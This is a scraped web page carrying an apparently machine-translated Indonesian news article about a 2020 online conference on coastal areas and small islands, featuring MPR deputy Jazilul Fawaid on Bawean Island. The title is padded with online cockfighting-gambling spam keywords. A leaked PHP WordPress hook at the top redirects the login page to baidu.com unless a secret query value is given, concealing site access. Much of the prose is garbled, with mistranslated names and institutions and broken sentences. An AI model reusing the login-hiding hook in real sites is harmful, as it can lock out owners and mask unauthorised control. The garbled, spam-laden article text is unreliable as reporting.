//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Pesisir dan pulau-pulau kecil masih menyusut, Gus Jazier: Semua pihak harus berperan | s1288 net_sabung ayam online s128_sv388

TRIBUNNEWS.COM-Pada 9 Juli 2020, Institut Sains Mambaul Falah Bawean (STIS), Kabupaten Gresik, Jawa Timur; Universitas Nusa Tenggara Barat dan Universitas Mataram bersama-sama menyelenggarakan acara “Revitalisasi Kekuatan Masyarakat Adat dan Pulau-Pulau Kecil Sepanjang Pesisir Indonesia. “Konferensi Internet. Hadir dalam sambutan tersebut Wakil Presiden MPR Jazilul Fawaid, Presiden Unisma Malang dan Forum Perdana Menteri Presiden PTNU Maskuri, Wakil Presiden STIS I Mambaul Falah Angky Soedrijanto dan Direktur Pengelolaan Ruang Laut KKP Aryo Anggono. Jazilul Fawaid atau biasa disapa Jus Jazil mengungkapkan, sebenarnya negara memiliki banyak regulasi yang mengatur urusan pesisir dan pulau-pulau kecil. Disebutkan bahwa peraturan ini mencakup “Peraturan Pengelolaan Wilayah Pesisir dan Pulau Kecil” dan “Hukum Laut”. -Selain itu, Republik Demokratik juga sedang membahas RUU “UU Pulau” dan menjadi rencana prioritas nasional untuk tahun 2020 (Prolegnas), ”ujar politisi PKB tersebut.

Sesuai regulasi saat ini, Kabupaten Gresik Jawa Timur di Pulau Bawean Yang terpenting adalah implementasi. “Implementasi penting untuk mendorong masyarakat agar memiliki kemampuan menghasilkan sumber daya yang berkualitas di wilayah pesisir atau kepulauan,” ujarnya. Gus Jazil aslinya berasal dari Bawean dan mengetahui dengan baik kondisi Pulau Bawean. Pulau Bawean lebih kecil. Salah satu pulau tersebut.

“Tingkat ekonomi masyarakat Bawean termasuk nelayan belum mencapai“ keuntungan dari pengelolaan sumber daya yang ada, ”ujarnya. Ia mengatakan: “Saya memiliki harapan, keinginan dan inisiatif untuk menjadikan Bawang sebagai pulau yang terkenal dengan lautan dan potensi pariwisatanya.” Ungkapnya. Menurut dia, hal itu sudah dilakukan sejak 2018, saat dia meminta Kementerian Pariwisata dan Ekonomi Kreatif (Kemenparekraf) untuk memasukkan Bawean dalam kegiatan wisata layar internasional. Keinginan Jazilul Fawaid itu terpenuhi karena Pulau Bawean sudah masuk dalam jalur pelayaran internasional sejak 2018 sehingga Bawean dikenal banyak orang.

Meski Kementerian Pariwisata dan Ekonomi Kreatif dengan cepat mempromosikan Pulau Bawean ke dunia internasional dalam industri pariwisata internasional. Gus Jazil selalu kecewa dengan sikap para pejabat. Daerah dan masyarakat yang diduga terkena dampak kegiatan pariwisata dan promosi di Pulau Bawean diyakini masih belum paham. Oleh karena itu, menurutnya perlu dilakukan pembinaan dan pemberdayaan masyarakat pesisir guna meningkatkan sumber daya manusia dan memungkinkan mereka untuk mengelola alam dan wilayah pesisir.

Add Comment

Your email address will not be published. Required fields are marked *